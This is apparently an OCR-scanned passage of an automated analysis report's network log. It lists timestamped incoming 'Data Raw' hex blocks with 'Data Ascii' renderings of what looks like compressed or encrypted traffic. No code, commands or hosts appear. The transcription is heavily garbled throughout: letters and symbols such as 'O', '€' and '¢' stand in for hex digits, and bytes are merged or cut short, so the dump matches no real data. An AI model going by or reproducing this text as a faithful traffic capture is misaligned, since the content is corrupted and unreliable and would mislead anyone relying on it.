€2 0b 1c 44 c3 93 d9 eb Oa eb df 76 fO 3f f1 25 8d c7 f1 2f c2 87 Oe d8 89 a8 24 bf de ec 03 48 be 04 96 8a 07 63 3e 7d 88
3d bf b8 c0 e2 13 0a c3 bd 13 d0 20 92 80 b7
Data Ascii: :fTBp|{y:#LfF8a"aUU~kj9'-YD?LeP\~~]pVxh@kk@uWuZT.NB@"cliN)\5D#7m|Dv?%/$Hc>}=

2022-01-14 03:59:48 UTC 2201 IN Data Raw: ac 39 69 cd b9 bd ab d4 56 a9 23 6¢ f1 84 08 43 b1 36 02 28 79 f8 a2 1b a0 43 2f 40 46 62 55 1b 9b 89 50 b5
da 9f 83 db bb f6 14 f3 5e 18 32 f3 c4 dc Oe b8 6¢ 77 c4 81 50 55 bd 4f cf 7e fc dd 16 ee 2c 86 71 8a Ob ce 5e Oa e7 bb fd
48 44 5d 6¢ a3 58 2c 2e f0 66 50 15 b9 46 4c 1f 4e e0 f9 9b a2 82 02 fd 3e a7 ab b2 96 c1 08 b3 dd 60 f4 52 83 01 4c 23
63 41 d8 aa 3b f4 14 1f d3 62 77 5d e8 ab c2 1a 09 1c 6f 97 76 d7 b0 44 80 98 33 da 47 f1 0d 95 6a Oa 19 28 61 52 c8 06
€5 48 73 ce 12 6b €5 22 cb 2a c1 83 c4 44 7 84 96 fc f9 3f 66 29 ee 4e 30 61 02 74 8d f8 4c cc b4 70 17 82 aa 96 bb 13 f1
2f 7e 24 18 23 7b 10 09 f2 23 97 09 84 8a 0d dd 9a 9c 95 79 64 1f 38 13 40 ed 5e b5 e6 df 27 84 35 3f 06 38 5a 31 81 69
6e c9 3d 45 dc 4e 5d b4 44 8f bb 4c f9 01 f2 32 6d
Data Ascii: 9iV#IC6(yC/@FbUP"2lwPUO~,g"HD]IX,.fPFLN>"RL#cA;bw]ovD3Gj(@aRHsk"*D?f)NOatL p/~$#{#yd8@"'5?
8Z1in=EN]DL2m

2022-01-14 03:59:48 UTC 2217 IN Data Raw: a7 85 91 11 ec 03 1c 66 0a c9 d3 39 ba 8b f2 73 ea 56 7d 6b 7f ae f9 03 3a 32 c0 65 19 ca 48 7d 4d 8c 2a ba
79 b2 b0 d4 c7 6e 34 06 df f3 08 9b 9f 94 53 9a ca 84 33 1d cb e0 a0 1c 8d 5e fe 42 b8 2f 92 03 40 Oe 36 {7 66 ae 17 a2 ez
d0 5¢c e9 43 dc d4 2e 1f 8f 5e 29 a4 34 45 9b 5d ad aa 20 26 57 2e 5f cb 99 63 b4 72 19 ec 57 ab 85 44 23 84 6a 78 31 ae
89 ee 5¢ 0f 24 0d 6b 54 83 3 e0 16 20 cf fd 6¢ e2 f6 7d 26 9c fe 5a 5¢c 9f b5 Ob a0 64 e6 3f d0 86 69 9f bf 88 a7 4b 73 98
be f5 a2 68 7c Ob 5¢ 95 c3 83 08 8e e6 ae 9a fc 85 f2 de 33 f0 35 3d 55 37 9c 46 d4 b7 6b 00 07 b9 el cO d6 ec cb 78 d2
1b 16 ce 03 55 63 86 cd 34 99 28 f4 70 2a 0f 8d 30 62 Oe 2d 7b al c0 17 6f 57 3b 14 f8 c4 07 f4 9b 66 7c a0 e0 Oc cc 6e
3a 88 0d 6b €9 db 94 38 fc b0 ad ab ba 5¢ 48 dd cb
Data Ascii: f9sV}k:2eH}M*yn4S3"B/@6\C.N)4E] &W._crWD#jx1\$kT [}&Z\d?iKsh|\35=U7FkxUc4(p*0b-{oW;f|n:k8\H

2022-01-14 03:59:48 UTC 2233 IN Data Raw: 3a 67 28 4e 22 9d c3 db 9d fc bd ¢3 3c 81 7a fe 6a 47 d5 bc b5 46 29 ¢7 Oa bc b4 d2 e4 d5 06 54 77 7a 08 38
c0 88 4d 07 1f 83 bf 5e d6 d6 ae c5 04 37 af 0d 81 42 6b ef 98 99 b8 8e 94 ce d8 a7 b2 61 f7 b7 9c 9f 73 19 68 41 3 1la da
c7 0a 02 f8 2e 02 48 4f Ob 27 13 ec 9f 85 81 3a ec 37 18 f9 43 b6 7e ¢8 78 f1 ea c7 85 d6 b5 57 72 80 c6 22 €0 47 a8 5¢
c8c7 1b 8a 8b f3 71 ec 8b 59 Oe df 56 7c 5d dd c2 e8 2f e7 e4 61 68 de cO al aa 1d 78 28 7d 7b 68 Ob 66 7d 7f 77 45 94
5b d0 ab de 44 4d 3c 77 cc de fe 82 6f 86 78 9d a4 5f ab 1c 19 fa b5 88 ¢6 95 77 05 ba 38 20 e0 76 35 7b ce 18 7e 49 60
ed 32 85 90 5f 72 e6 50 73 8f d8 9b 9e 6d Oc 9d e6 72 30 27 c6 6d c5 d6 Oe 97 80 3f 4a 1d e5 5b b9 17 17 df e7 5e 4c 80
a8 fc f2 e6 62 99 9d 6e 3c 70 d7 5b d2 b0 d7 8c b9 26
Data Ascii: :g(N"<zjGF)Twz8M"7BkashA.HO"7C~xWr"G\qYV|l/ahx({hfiwE[DM<wox_w8 v5{~I'2_rPsmr0'm?J[*Lbn<p[&

2022-01-14 03:59:48 UTC 2249 IN Data Raw: 06 39 85 21 59 86 9e a3 15 3d 25 33 b6 56 49 el 47 35 cd 92 e3 15 ac 40 be 81 c4 f3 2a 9a c9 09 aa de el 74
a8 c0 2f bd fe a7 62 50 5d e3 7a d5 bd 90 e2 8d 6f b2 1b 51 75 ee cb a5 6e bc ¢5 87 88 f3 79 9d 43 fd 1d 80 80 fd 5d ef b7
70 f3 e4 fO cb af 8e 85 19 7c d8 56 56 34 52 10 1f 5e 68 3b 35 86 65 94 55 53 d7 ea 8c 85 b4 eb 89 be 83 c1 c8 d2 e5 e2
af 48 7a 91 47 52 92 8e 54 bd al ee 33 1b eb 3b 31 cc 66 €3 f1 91 8e 72 Ob 7f bb 48 55 2e 2d 1e ef 7f 63 43 1b 13 23 32
47 7 c6 31 d3 6b 69 a8 6b b4 27 16 ba d8 d0 a0 81 7d Oe 89 a2 b8 7a 5a 6d 92 c5 2b 2e f1 4d ef fb f4 4f 8d 87 10 eb 5b
39 c0 a8 b9 bb 2b 07 16 19 2a de 45 db f8 ca a4 e3 5f 25 ac 5e 3d b1l 18 25 6a 6¢ e3 c9 a0 6a 42 ab {8 59 f5 70 fa 5d 4b
fa 67 15 b1 cb ba c2 a4 5f 91 3e da 08 30 3a 4c 62 f8
Data Ascii: 9'Y=%3VIG5@*t/bP]zoQunyC]p|VV4R"h;5eUSHzGRT3;1frHU.-cC#2G 1kik'}zZm+.MO[9+*E_%"=%]j|jBYp]K
g_>0:Lb
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kBytes
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2022-01-14 03:59:48 UTC 2265 IN Data Raw: 43 93 b8 d8 9d f6 f6 a3 06 03 28 17 37 f7 01 42 c5 20 54 05 7a aa b8 89 d8 7b e5 4d 61 2d f5 85 38 b6 16 a2
73 f8 cab7 9e ec ba ec 41 74 26 el 57 b5 3f 1a c3 05 03 a4 c1 a3 3f df 48 b7 el 70 d8 b2 48 26 cc 86 8e 85 99 16 d6 c7
4c fc b7 23 ab 5d 1f 79 29 ea d3 bc e7 el e9 fb c8 c4 73 f0 33 81 d1 eb 93 b3 9¢ 16 7b 4b 8f 1b d5 Oe 1c 58 20 b5 1f 27 90
cd ff 89 5b 96 43 ¢3 10 ec a0 64 c4 05 b0 94 30 74 50 69 85 f9 1a 27 06 58 b4 76 74 02 c9 Ob 99 67 52 97 €6 07 60 €8 83
50 c2 04 35 fO b1l ea f3 87 34 Oe 2b ff 82 7c 7e 8c 9e 31 dd a0 8d e4 e6 35 1f Oe 3b c6 bc 8¢ 60 al 62 la fa 49 4f 64 b9 af
52 72 3ae3 a3 62 ae 71 8f f5 49 19 f9 cd 52 aa e4 06 al 9b 41 65 9c 93 cf 5b a7 b5 bl 01 ca 21 ff 6f f8 8e 23 a3 83 e0 89
Oa df b8 d6 a0 66 1e 8a 12 23 4d 37 60 96 03 la
Data Ascii: C(7B Tz{Ma-8sAt&W??HpH&L#]y)s3{KX '[CdOtPi'XvtgR P54+|~15; blOdRr:bgIRAe[!o##M7"

2022-01-14 03:59:48 UTC 2281 IN Data Raw: b5 fa 91 8¢ 90 22 68 42 8c 74 10 74 e2 81 67 66 4e 2b 27 aa 68 32 €9 47 7a c7 8a 99 4d 4f 32 35 64 9b a0 11
d7 9a 7f cb 8c fc ca 32 f0 b0 34 al 30 fb 39 16 e3 c8 7c 9c e2 c2 30 6e 65 7e 3d 29 12 68 b6 59 4e 21 4f ad 24 2d ac ea bf
8913 71 ae dl 7b 18 71 43 0555 8d 79 eb 6b a2 28 97 d5 16 14 26 27 38 3f 6b a2 00 19 82 7f Of 7b fc e0 3b b5 c1 52 54
18 ec 63 a5 75 78 5f 6f 38 b3 32 1f ce ba ab df 45 40 fa a7 2a dc Oe 9b 12 22 d2 fd f5 3a f1 15 32 84 d8 5a 54 fe 48 1f 30
56 a0 24 1d a8 f8 78 ad ae c0 2a 5d aa 21 bf d3 9a c6 c4 8b 9c aa f2 09 15 60 cf a9 10 f9 8a d4 e5 b0 27 32 34 b7 2e 00
dc 55 fa 7e 18 d2 b7 79 af 75 fa b9 ad 59 3e 29 07 42 6¢ 60 e4 d4 c9 8f f3 42 1d ea cO fd 70 25 6a 19 fa 4a fe 93 87 4b 82
€3 04 a6 5c f1 4d 1f d4 12 9c fd f4 76 4f Oa bb
Data Ascii: "hBttgfN+'h2GzM025d2409|0ne~=)hYN!0$-q{qCUyk(&'8?k{;RTcux_082E@*":2ZTHOVS$x*]!"'24.U~yuY>
)BI'Bp%jIK\MvO

2022-01-14 03:59:48 UTC 2297 IN Data Raw: e6 f2 80 65 75 02 €9 8c 9a 8e b1 1c 45 54 bd 16 8f 22 8f 23 28 13 ca c6 fe 6d 16 4b d9 6b df cd fO b8 2f 47 23
8a bf ea d7 65 9c 9a 3f eb 10 de 01 d0 96 82 a7 e8 7c c8 cf e8 ab ac f0 b2 f6 f5 d5 8b f6 9b 41 f9 79 df 19 90 75 el 3f 88
ac 5f 1a 73 ¢7 85 b0 4a 43 64 7c 32 ec 23 24 a6 8e 5¢ 9d f3 ae 48 37 f5 9c 27 cf 83 d8 a2 80 5f 5¢c 36 €5 78 44 €9 f3 03 e9
27 43 3f 48 d0 ac b5 26 1e 7a a0 €8 10 81 99 d9 bf 7a 9f d9 b1 df 2b 05 f1 da d9 17 9f 49 e6 el a9 6d 98 76 11 46 5a ec
€3 ¢540 42 3a 9e 7f dd 01 33 6d 5e €5 78 16 52 65 1e ad 57 cc b2 d1 aa 73 03 4f 51 fc 2f de 81 Ob 4c 7a 11 ce 22 46 9c
8c b2 35 86 bb d0 1a ea 6f cc f5 34 67 1d a3 3e 21 b3 c2 69 1a 41 07 66 24 cb a5 Oe 72 9¢ 89 b2 d6 9d 8f al 7f 13 9d 71
10 3b 23 ¢c2 79 e7 5b 18 cf d2 c7 b3 33 bb 0Oa be
Data Ascii: euET"#(mKk/G#e?|Ayu?_sJCd|2#$\H7'_\6xD'C?H&zz+ImvFZ@B:3m"xReWsOQ/Lz"F504g>!iAf$ra;#y[3

2022-01-14 03:59:48 UTC 2313 IN Data Raw: el 4a 3b 54 0b 3c d6 6a 72 99 f2 ¢8 9a 19 4e ea 48 bb 0d ab 4c 72 02 b5 4c b2 a5 36 ef €9 06 37 1d b4 c1 f8
2a 80 d7 86 8d 05 d6 12 cc 66 d5 fd a4 37 dc 04 fa 38 52 65 fd 1b 30 88 4f 22 14 fa c2 31 82 el 89 e6 53 f4 e7 f3 85 89 37
01 7f 89 cf 7a 51 ce 98 ee 2e 38 79 d0 47 dd 37 a5 b0 2d f2 ae 6d 73 bd 80 cd 73 b2 cb fc 82 cc 84 a9 6d ed f0 4d 37 eb
d3 dc 5f aa df fc 47 ce 6f fe 50 9b 44 b5 55 18 13 74 c9 3e 58 6a a3 56 b4 01 af 7d 8b e0 fd 35 92 cO Oe d3 eb 08 b6 32 28
6d 9b 49 a4 e0 17 5 58 2a 5b ¢8 31 53 1d 94 40 47 a4 8c 38 83 7b b0 4e 9f 9c cf ¢3 56 51 12 b5 ac f7 69 e2 ac cd 63 c5
64 3e 4a a3 11 57 d7 1e 84 10 43 7f 35 9c ae 6¢ 62 f4 73 40 5 4¢ dO fb b9 2f 4e 43 9b f3 f8 0d €7 c2 9a 02 68 ab b5 9f fO
09 ea 07 91 ac 49 ec a9 c3 d1 0f 5a 5f 50 ae 34
Data Ascii: J;T<jrNHLrL67*f78Re00"1S7zQ.8yG7-mssmM7_GoPDUt>XjV}52(mIX*[1S@G8{NVQicd>IJWC5Ibs@L/NChIZ_
P4

2022-01-14 03:59:48 UTC 2329 IN Data Raw: 8¢ 5¢c ad 04 31 b2 87 a4 57 1f f5 1c 65 60 85 a3 d1 f2 72 41 4f d7 6d b8 a7 8f 34 a0 a5 b8 08 6a b2 38 21 1a ee
bc 24 ed 98 17 56 6f 12 ca al 5a 32 e3 17 9e 80 a9 d4 13 ae 8b 8e €9 57 43 1b 9e 13 bb f9 00 1b d5 16 ac c5 ab 1c 7 6f
€8 82 le 96 26 53 d4 f8 d8 e7 4c d8 91 3f 6e ec 8a a5 e5 69 b3 3f a7 2f 85 cf cc d5 1d cb 65 f9 3e 67 9c 2e e2 01 52 91 1f
dd 4f 82 c2 3c 56 70 ff 96 b7 07 61 06 ee 76 01 46 d8 9c 91 48 38 a7 a3 54 4a 2d 64 ab 32 a5 89 a9 ef a2 50 el 4f 6¢ 54 fb
99 2d 6a 6a la el df b0 3d 05 cd c2 5a 3f c2 ee 03 9e 67 99 9c f4 8d 99 e8 4e 20 d7 33 56 51 6¢ 93 63 be c9 0f 06 d9 18
bd af 80 f9 6b e5 7c 0a 99 ca 07 22 25 94 66 b9 57 77 Oc 73 5d c¢2 d0 23 fc 54 03 88 71 70 5a 88 bd bd dc b6 9b 2 94 fa
02 ee Ob 88 f8 cc f3 82 96 53 95 4e 96 b4 c9 72
Data Ascii: \1We rAOm4j8!$V0oZ2WCo&SL ?ni?/e>g.RO<VpavFH8TJ-d2POIT-jj=2?gN 3VQIck|'%fWws#TqpZSNr

2022-01-14 03:59:48 UTC 2345 IN Data Raw: 7f c4 9c Of 2f 68 fO ae b2 2e ¢8 82 0f 72 15 b4 77 dd b5 50 11 8f ¢2 9c 2a f5 1d 42 68 07 7b 38 f3 83 3d e6 97
b0 84 15 31 9f c0 4d 44 a9 49 Oc ec 34 68 5b 8f 18 c2 c5 e4 f4 62 3c b7 ce bl b0 05 bf 4f 01 87 ba d3 f5 f4 61 5a 0f 0d 07
dd 65 6b 11 49 4b 5f a9 6f a8 ee d5 07 85 5e 0d 40 c7 14 13 31 3b bf 55 6f 46 ab 75 d6 c2 b0 a6 ef f2 17 4e 01 84 36 b9
9a 00 b6 b7 3b f3 d0 5d 03 9c 43 22 62 f2 d8 e5 43 fd da e4 fc ee 97 59 bb 19 65 40 52 ca c8 e4 a3 4d 4b 93 2d 78 97 c8
19 ca 7e 15 78 47 ff 2f el d7 e5 60 3b 7e fO Of 8¢ 90 9a 34 f2 4f 29 2b 09 ea c8 ab a9 84 bd b0 2d 7e 61 bf d4 3f 18 de 6f
a6 c3 aa 1f 33 e6 aa 2d 34 6d 60 3f 79 db ba b8 a9 61 56 6¢ 7e 41 5e 12 c0 1d a7 d6 5b 57 2f f9 cc 6f bd ee e5 d5 6e 76
99 bhd ab fe 26 d1 a5 80 b0 bb cb fa 7b 5e 48 a9
Data Ascii: /h.rwP*Bh{8=1MDI4h[b<OaZeklK_o"@1;UoFuN6;]C"bCYe@RMK-x~xG/ ;~40)+-~a?03-4m ?yaVI~AW/onv&
H

2022-01-14 03:59:48 UTC 2361 IN Data Raw: a5 13 49 c2 b9 74 10 fe 75 d1 d1 27 53 93 81 f0 55 48 bc a8 d2 3d 73 f4 2c 93 3f 24 6c 8a 75 ce 38 6e c5 86 d7
a6 12 47 cf 57 12 89 e0 77 el bf 15 a9 4d 8e eb d8 9d ca c0 4f 51 9 32 35 b6 dd 11 df b6 87 fe 5a 26 el 0f el 73 87 0d
35 7 d3 f8 99 8b 8b 6f 7d f5 3e 4d 92 13 66 60 3d el ee 15 6a d1 d9 8b 33 f9 96 c9 f9 57 5d 5¢ 35 9a 53 22 56 42 33 4¢
d5 61 86 c2 80 5d 88 ec 80 46 09 71 75 fd d0 00 43 05 €9 43 56 f9 79 Ob 7b 2a 4b 8a 28 b9 18 2b 0a a9 e7 34 58 08 49 f5
d9 3e 51 dc 5¢ 4b 02 aa 1d 9b da 03 3c ef 26 7c d6 53 ad 6e 8f 2a b2 29 b1 8a 71 b5 f4 f7 6f 8d 3d 0d 58 09 be 66 a8 a7
4f da 88 el 36 3e b9 cc el 9a 7b a9 a5 fe bf c7 d5 0a 4a a3 58 34 fe 97 e5 b5 ab 1b 43 c4 96 7e 48 cf 83 de a0 f1 ed c9
9a 4f 9f 7c Of 71 be d9 47 17 1b f5 24 db a9 6b 12 5
Data Ascii: Itu'SUH=s,?$luBnGWwWMOQ25Z&s50}>Mf =j3W\5S"VB3La]FquCCVy{*K(+4XI>Q\K<&|Sn*)qo=XfO6>{IX4C
~HO|qG$k

2022-01-14 03:59:48 UTC 2377 IN Data Raw: f3 ¢3 1a 9¢ 63 bd 39 11 ef 08 79 b0 b9 59 18 57 62 4e e4 29 39 dO bf 1a 69 72 12 ef 42 4f bc 54 99 f1 ac 2d dO
72 d89c 1f 41 11 71 89 90 Ob 7d cf c2 34 2d 98 32 2d f3 1a 38 c2 47 92 50 0Of c3 6¢ 22 95 a9 ac b7 00 ac cb c8 82 11 89
82 d3 5281 ala7 07 eecd7a3babf222e3dl 49 61 d1 0f 30 8d af 1d 02 5d 6d 00 71 75 e7 b3 8d 75 85 f6 fd ca 20 af
49 da e6 76 80 2b 28 96 3e da d6 6¢ d4 a4 e3 be 68 17 c0 9d d8 06 59 07 5a 4b 04 8f ed 37 b0 6a 9d c8 08 fb 87 1d 52 98
da bb 65 24 66 29 6¢ 8e 58 be 0f 1d 33 a7 6a 14 dc 11 91 12 al 4b e6 04 89 ea 65 bb 0d Ob c8 32 b9 de 07 d9 fd 94 09 36
ed a7 59 2d 03 c1 44 49 b7 d9 bd 6c 0a a6 f6 93 de 4b af bd al 00 a6 bd 1b be ee Ob 1a eb 12 24 4e bd Oa 4d 85 05 72 7d
€0 c6 19 fe ab d7 2e b2 ae 70 f2 22 ac 8e 45 a2 15 88
Data Ascii: c9yYWbN)9irBOT-rAq}4-2-8GPI"Rz;"la0lmquu Iv+(>IhYZK7jRe$f)IX3jKe26Y-DIIK$SNMr}.p"E

2022-01-14 03:59:48 UTC 2393 IN Data Raw: a2 ae bc 7a cf 8b 17 9d 1e f8 3f 9c 8f a9 94 08 9a 2e a0 d5 b5 56 1d d2 62 94 12 ff 3¢ 79 1d 91 95 26 f4 08 92
c1 25057 89 cb 96 00 a6 e2 eb 09 72 fO 9f 55 60 54 ab 95 61 e2 82 15 f8 6a €0 d8 32 f2 42 3e 14 ec 8 ef 1le 5e d2 4b 12
b6 b2 80 61 6f 4d b0 a6 83 8e 7b fa c8 15 1d b6 cc 36 ca d2 61 7b 44 d3 83 ad 51 1c f6 2d 48 44 51 5b ae fc 89 f2 eb 6b
b3 22 4c 3b d4 34 7a f0 €5 Oc 6a 7c 10 02 d1 36 82 8¢ 64 ae 24 69 dd cb 99 83 10 7c a8 f1 43 4b 48 fd 62 b8 8e 76 5e b6
ff 34 f6 €8 08 97 b2 3b 69 Ob 60 8d 18 f7 be 86 15 1e f2 77 d5 Ob d7 2b 40 53 17 €7 3b 21 7a 4a b7 25 19 84 55 77 e7 5a
8b 11 08 6b ea bl aa 6a 70 22 01 90 41 36 91 34 7c 66 d3 dc 1e a7 c7 7a 3c 71 92 28 c2 32 48 a8 aa 9f 8¢ b6 Oc c4 3f 88
f8 7a 05 14 05 02 a7 bf 36 5b aa al b5 ¢5 c6 1b dc
Data Ascii: z?.Vb<y&PWrU Taj2B>"KaoM{6a{DQ-HDQ[K"L;4zj|6d$i|CKHbv 4;i"w+@S;!zJ%UwZkjp"A64|fz<q(2H?z6]
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 2409 IN Data Raw: ff bd 09 5f e8 d6 36 5a b4 e4 92 ee d0 23 bc 94 7b cd ad 3c 7f 6f ca 38 5b 20 5d cf cf e4 f3 b7 3 83 be 43 6b
8c 37 77 93 10 f4 19 ad eb 69 30 €8 46 6¢ 8¢ 0d a9 49 81 50 d5 6b 70 Of ac 30 a7 79 e3 54 ba cb fb 46 48 16 ec c1 11 e4
6 9f d7 e9 b8 65 e2 bf 68 f4 40 ab a2 37 07 86 fe 24 e6 a4 74 0d 39 48 8e 04 08 27 b1 ce 73 ce 05 44 3e 82 23 1a f8 fe 01
b0 bd 54 2c de 06 2a 4c 30 e0 c5 eb b2 2c 20 fO df a9 cb d9 8a 9c al 21 60 22 3f 6d f5 2 36 df d3 41 a6 63 25 49 f2 bf 1b
86 €9 43 1d 36 5a 3a 91 d8 2e ec 27 1d 3b 52 4b c4 f5 99 39 17 43 b0 0a b6 86 3c 86 8c 2e 1e 2d 41 c3 46 b7 5f 8¢ 48 4a
93 3a4b 94 {7 €5 00 95 15 f0 05 f5 47 37 55 b5 61 88 75 9c 61 aa 14 33 78 46 a5 3f 69 2d fa f4 50 d9 a5 36 11 d9 e8 c8
Oe 83 9f 6d 79 88 16 a2 fa 2b fO 5e 82 fe 71 91
Data Ascii: _6Z#{<08[ |Ck7wiOFIIPkpOyTFHeh@7$t9H'sD>#T,*L0, !""?m6Ac%IC6Z:.;RKIC<.-AF_HJ:KG7Uaua3xF?i-
P6my+.q

2022-01-14 03:59:48 UTC 2425 IN Data Raw: 29 de 12 e3 ae 3e 52 e8 9b ed d7 a3 5b ec ¢5 7 4b 8f 05 05 16 d7 c7 da a5 b0 8c 99 36 5b be c8 5b e5 9c 8e
9f 54 57 56 €9 7f f3 b8 04 e4 c4 cf Oc 29 7a 9b 5f 35 7 bd 08 56 07 ab 96 el 60 af af 41 3a 8a 5f 35 d5 2d 3b b3 77 69 8d
58 7c e4 78 9c 2b 91 ¢5 02 48 71 27 d3 09 Oe 8e b9 27 91 75 68 b8 b9 e5 21 3 9 b7 c9 2a 79 55 53 4d a7 58 2a e2 45
07 85 a7 e2 3d b7 96 e8 a5 5d 3f 39 31 df c9 90 02 68 ae 6e aa 2c 6¢ a6 1f 4b 7a 7c fd 69 db cf c4 Oe a9 65 9b 05 6f 03
3842 00 15 4e 83 f8 Ob 79 38 60 c3 52 25 17 c5 fa 2d f9 72 83 ef bb 6f al dc 9e d3 a6 65 58 94 b0 11 89 e0 10 a0 21 ae
d5 e3 47 d2 c6 29 d2 c6 33 17 f3 53 7e 4a 86 92 b8 af 2f 48 fd bf 9e 5b 51 5d eb 60 62 a7 ad ce d2 e5 d0 67 34 0b 07 87
fb 6e 18 a2 33 a4 4e 8e b0 1b 42 2c 6f 6f fe 73 3f 6¢ b4
Data Ascii: )>R[K6[[TWV)z_5V"A:_5-;wiX|x+Hg"uh!*yUSMX*E=]?91hn,|Kz|ie08BNy8 R%-roeX!G)3S~J/H[Q] bg4
n3NB,00s?!

2022-01-14 03:59:48 UTC 2441 IN Data Raw: 70 aa 4a 60 a2 7f 87 c8 5a 76 b2 d4 5a d6 af 89 a0 48 df ae 43 a9 b9 c6 04 ba 03 8a 47 61 ee 72 32 14 30 2e

9e 98 f2 4d e7 a7 €5 32 €3 d8 c0 53 e2 f7 f7 2¢ 37 1e c9 67 e3 2c 75 8a dd f2 86 6b 4e 73 bc 23 9¢ 55 5d 31 71 2d 91 38
93 5a db 81 f3 9e 48 bc b5 41 a8 d3 38 f2 33 b2 7e 02 4d db c7 f3 07 8e al b4 9c 52 4d 1f 55 4d 7e 9d 64 89 b3 c0 e2 8e
ef 5b 92 46 9¢ 63 2b 52 28 3c 1a ed 7f 9b ef b8 4c 67 87 68 €8 7a €6 06 €9 2e c5 1c fa 27 87 a5 92 a5 bl 14 15 91 97 ba
db 4a d1 8a d8 53 07 90 28 e2 6f b5 77 6f 2f 75 9b 7f dc 20 5b 01 Oc 99 96 42 {7 fO dO 4f c6 ae fe 8 67 de c8 11 81 f2 Ob
fa ab 71 b6 5f 13 0b 17 7a 73 3e 2f be 2d 66 €9 2f cb 45 e4 3 4f dO ¢5 3c f3 24 71 85 f2 89 de 1a f0 14 3a 86 c1 Oe al 87
77 cc f1 a6 2e 8b b5 32 ¢7 c9 ce fb 24 39 eb 10 60

Data Ascii: pJ’ZvZHCGar20.M2S,7g,ukNs#U]1g-8ZHA83~MRMUM~d[Fc+R(<Lghz.'JS(owo/u [BOgq_zs>/-f/IEO<$q:w.2$9"

2022-01-14 03:59:48 UTC 2457 IN Data Raw: 58 50 24 cb 93 01 26 6d 2c d1 b2 bc Ob 8a 37 be 6¢ 1d 0d cc 3e 55 48 71 36 49 9e 24 bd 11 21 a3 58 09 b4 e7
d3 d6 57 1e 40 a4 d7 08 2c 99 da c0 de ef 03 d3 66 60 7c 6a f2 57 f9 4c fe 77 82 94 78 c3 ba 6¢ 8c €0 02 19 cd 32 89 el af
56 43 7ada 4c 19 34 c2 98 ed 77 20 05 82 Ob 9e 78 c7 9c 9c 5 a2 8e 19 c9 69 ec f8 95 de 57 62 70 e2 {7 42 29 07 a0 42
Oa 7f ac 2f f8 a4 83 23 38 cc Oa 43 87 8f 27 48 37 e3 45 f4 2¢ 1e 3b 09 98 46 8a 55 5f ab 27 bl 2c 77 5b 44 bc 88 94 64
35 3d bb 68 74 c5 ef b8 45 b5 bc f1 29 55 f4 3 48 e5 77 c0 a5 c9 ff {6 4b ¢7 c9 74 47 a9 47 73 31 af b3 9b 95 7f 5a d6 cd
90 ff de 2e 62 bb ad cd el 51 97 1e 97 b9 5a 5b 8a 12 94 33 6f 05 57 d0 2a a7 4b 9 ef f2 3b d4 d5 60 38 08 f0 b9 80 ac 32
ed 7b 2d 20 42 0d d2 cf al b0 c9 Ob 9a 26 2f d7
Data Ascii: XP$&m,7I>UHg6I$IXW@,f [jWLwxI2VCzL4w xiWbpB)B/#8C'H7E,;FU_",w[Dd5=htE) UHWKIGGs1Z.bQZ[30W
*K;'82{- B&/

2022-01-14 03:59:48 UTC 2473 IN Data Raw: 71 c6 37 bd ab ad ba 72 26 48 36 Oa 12 61 d8 fe 72 f6 92 1b 80 93 8b 9d 02 57 c9 ea 2a 31 90 ee 1a Of 10 46
ac 12 5b 8e 7d 57 52 9d a4 d1 4d c6 a2 ff ba 8a 45 5a 82 el 61 33 4b ab b9 f0 87 42 83 c5 7d a8 84 79 86 fd 45 2a c4 7c
ac d8 c2 c3 2 90 0f 12 a9 7 d8 a4 a9 54 cc 23 4b Ob d5 02 d1 9e 3d 84 63 76 72 Of b8 3a 00 1c 73 16 56 al ff Of 7d 71 db
57 c9 cd 89 9a 6b 6f 3b 10 bf a8 ac 4a 9e 3a 2e b0 83 60 Ob 93 da 52 e4 9c 60 ff 21 44 15 fa 37 d4 c8 4a 36 29 53 d5 da
aa 2e a0 02 67 ff 6a fa Of fc f5 3e 03 66 bb 2f ¢8 0d 56 87 6b bc 7d 6e f4 bc e3 ae ab b6 7d c8 b3 ef 38 92 56 e7 b3 3f d7 fd
93 ec 3b bc 2d b6 a3 6b c1 c5 a7 57 75 8c 30 da 42 cf 96 34 e2 a3 f6 3¢ bf a8 a9 b7 27 67 d8 e9 72 64 51 b2 d2 37 dO 31
2c cb 2f a8 ac 6d ef 43 38 5e 24 44 0d 3e d5 e2
Data Ascii: q7r&H6arW*1F[JWRMEZa3KB}yE*| T#K=cvr:sV}qWko;J:."R"ID7J6)S.gj>f/Vk}n}8V?;-kWu0B4<'grdQ71,
/mC8"$D>

2022-01-14 03:59:48 UTC 2489 IN Data Raw: f0 55 08 60 41 76 77 ed 82 36 4f 65 32 54 06 77 6¢ ae 9a b7 e8 09 dd 82 2e 60 19 a2 f1 39 64 Oe ee e4 ba d9
52 e8 cf 51 81 f5 4f cO Ob 1d 44 a0 28 f5 9a 3¢ ca Oc 3b 30 8d c2 d8 8e 59 10 29 2c f5 3a d6 90 €0 72 ad 4f f2 33 5f 73 9d
28 11 a2 fd 4c 03 31 d7 89 c2 9f 06 7f 21 9c 09 2d e4 88 74 7e Oe c4 03 9a ab ae 42 5d 9b Oc 98 58 4b 89 40 b4 a0 02 32
7d bf 6e 22 0 Oe a5 22 03 2b 28 33 49 ch 54 a6 09 63 79 8c b3 14 0b 95 17 2d 96 d0 27 9a €0 d9 24 b5 f2 5b 05 cd bl 3a
¢4 81 13 47 cc d4 b8 c0 35 1c 3e a3 84 6¢ b5 ca 31 bf 6 bf 81 cb 35 19 9b 13 Oc 99 06 a7 1b b6 ba 79 42 ca b2 11 c7 0a 4
18 11 0b 13 dO da b9 51 47 5¢ 33 05 9e 93 eb ce 16 33 fd 44 3e 9f 46 8f 70 27 Ob 95 d3 6b 52 87 41 d9 a7 2 55 11 18 ff 8¢
41 60 5d 94 Oe 51 03 a9 29 c9 51 76 2c 9e 8d 85
Data Ascii: U'Avw60e2Twl." 9dRQOD(<;0Y),r03_s(L1!-t~BIXK@2}n""+(3ITcy-'$[:G5>/15yBQG\33D>Fp'kRAUA']Q)QV,

2022-01-14 03:59:48 UTC 2505 IN Data Raw: 5a 7a 94 9c a0 39 ed 19 35 01 al 3f 78 11 88 9a Oe 30 d2 99 21 19 88 e6 24 ca a9 89 08 b5 c6 43 87 4c e7 5d
ee e5 ef 6a d9 ca 7a 30 62 90 df 43 15 ec 87 57 db 55 8d Ob 5e bb 80 f1 46 5e 5b 27 eb 12 f4 84 ab Oc a6 5e a4 4d 6b bf
10 b9 a8 65 66 6e f9 50 60 71 0f 3d 78 0d 33 9f 7c 2c 70 79 54 Oe 8e 48 b4 80 69 dO a5 ab 3d 84 70 20 57 26 fd 4e 3e a4
